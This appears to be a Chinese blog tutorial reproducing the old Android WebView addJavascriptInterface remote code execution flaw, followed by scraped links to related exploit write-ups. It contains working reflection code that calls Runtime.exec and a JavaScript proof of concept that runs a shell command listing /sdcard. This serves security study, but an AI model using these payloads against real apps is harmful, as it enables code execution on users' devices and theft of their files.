一.概述

这个漏洞只存在于Android API level 16以及之前的版本,系统没有限制使用webView.addJavascriptInterface方法,导致攻击者可以通过使用java 反射API利用该漏洞执行任意java对象的方法,也就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScirpt通过调用这个接口可以直接操作本地的java接口。

要注意的就是安卓的版本低于4.2才行

然后就是要使用webView来加载网页这样才能调用js,毕竟是通过js来调用这个java对象方法的

二.漏洞原理

1 webView

这玩意其实就是作为app里面的内置浏览器的角色,因为安卓系统的限制,它不允许直接运行系统的浏览器,但是又为了

在app中浏览网页,就出了webView这个组件嵌入app中

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<WebView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:id="@+id/web_view"/> </androidx.constraintlayout.widget.ConstraintLayout>
package com.example.webviewtest;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient; public class MainActivity extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
WebView webView=(WebView)findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
webView.loadUrl("http://www.baidu.com");
}
}

这里先获取一个webView的对象,通过getSetting()方法可以给webView对象设置属性,这里设置了允许执行js脚本

2.漏洞代码实际情况

    class JsObject{
@JavascriptInterface
public String toString()
{
return "injectedObject";
}
}
webView.addJavascriptInterface(new JSONObject(),"injectObject");
webView.loadData("","text/html",null);
webView.loadUrl("javascript:alert(injectObject.toString()");

这里就是通过addJavascriptInterface()方法注册了一个可供js来调用的java对象,后面的js代码就可以调用和执行这个java对象的代码。

3.反射机制

反射真是个好东西,可以执行任意对象的任意方法

    Demo demo=new Demo();
Class mObjectClass=demo.getClass();
System.out.println(mObjectClass.getName());
Method[] methods=mObjectClass.getDeclaredMethods();
for(Method method:methods)
{
System.out.println("method = "+method.getName());
}
try {
Class c=mObjectClass.forName("java.lang.Runtime");
Method m=c.getDeclaredMethod("getRuntime",null);
System.out.println(c.getName());
m.setAccessible(true);
Object obj=m.invoke(null, null);
Class c2=obj.getClass();
String array="cmd.exe /k start calc";
Method n=c2.getMethod("exec",array.getClass()); //返回名称exec,参数为array类型的方法
n.invoke(obj, new Object[] {array});
}catch(Exception e)
{
e.printStackTrace();
}

这波意思是只要有getClass()方法的java对象,那我就可以调用java.lang.Runtime的getRuntime方法返回Runtime后再执行exec方法调用cmd,getshell

4.漏洞检测

这里就是检测注册的java对象中是否有getClass()方法。

js代码,直接搬的别的师傅的,

function check(){
for(var obj in window){
try{
if("getClass" in window[obj]){
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br/>');
}catch(e){ }
}
}finally{ }
}
}
check();

5.漏洞poc

js代码

 <script type="text/javascript">
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
} function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
} var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
document.write(getContents(res.getInputStream()));
</script>

参考链接

https://blog.csdn.net/u012195899/article/details/68942725

webView远程代码执行漏洞复现的更多相关文章

  1. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  2. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  3. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  4. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  5. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  6. PHP远程代码执行漏洞复现(CVE-2019-11043)

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

  7. SMBv3远程代码执行漏洞复现(CVE-2020-0796)

    漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...

  8. CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现

    漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ...

  9. Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

    1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...

随机推荐

  1. linux 修改IP, DNS -(转自fighter)

    linux下修改IP.DNS.路由命令行设置 ubuntu 版本命令行设置IP cat /etc/network/interfaces # This file describes the networ ...

  2. 太赞了!Python竟可以轻松实现音频格式无损转换

    大家好,我是辰哥 辰哥在平时处理音频格式的时候,需要去下载各种音频处理软件(专业一点的软件还要收费),掌握Python技术的我们,知道Python是万能的(哈哈哈,开个玩笑).今天辰哥就来教大家用Py ...

  3. 一:windows10开启虚拟化服务(也可用于部署docker提前准备)

    查看虚拟化已开启: 如果未启用,则需要添加虚拟化功能:控制面板 -> 启用或关闭Windows功能 选择Hyper-V的所有功能,确定: 系统会自动搜索并安装功能.安装完毕即可. 完结,撒花~~

  4. GO学习-(18) Go语言基础之并发

    Go语言基础之并发 并发是编程里面一个非常重要的概念,Go语言在语言层面天生支持并发,这也是Go语言流行的一个很重要的原因. Go语言中的并发编程 并发与并行 并发:同一时间段内执行多个任务(你在用微 ...

  5. openresty 学习笔记番外篇:python访问RabbitMQ消息队列

    openresty 学习笔记番外篇:python访问RabbitMQ消息队列 python使用pika扩展库操作RabbitMQ的流程梳理. 客户端连接到消息队列服务器,打开一个channel. 客户 ...

  6. Java中Map<Key, Value>存储结构根据值排序(sort by values)

    需求:Map<key, value>中可以根据key, value 进行排序,由于 key 都是唯一的,可以很方便的进行比较操作,但是每个key 对应的value不是唯一的,有可能出现多个 ...

  7. Asp.Net Core Api 使用Swagger管理文档教程的安装与使用

    这周因为公司的需求需要我做一个Api的程序,这周的三天时间我一直在Core Api和 framework Api之间做纠结.不知道要使用哪一个去做项目,想着想着就决定了.既然两个我都没用过那个何不来使 ...

  8. 高并发Flask服务部署

    高并发Flask服务部署 AI模型持久化 OOP: 利用面向对象思想,实现算法在内存上的实例化及持久化.即一次模型加载,多次请求调用. class ocr_infer_class(threading. ...

  9. ISP算法高水平分析(上)

    ISP算法高水平分析(上) 一.ISP基本框架及算法介绍 ISP是Image Signal Processor的缩写,全称是影像处理器.在相机成像的整个环节中,它负责接收感光元件(Sensor)的原始 ...

  10. 自监督学习(Self-Supervised Learning)多篇论文解读(下)

    自监督学习(Self-Supervised Learning)多篇论文解读(下) 之前的研究思路主要是设计各种各样的pretext任务,比如patch相对位置预测.旋转预测.灰度图片上色.视频帧排序等 ...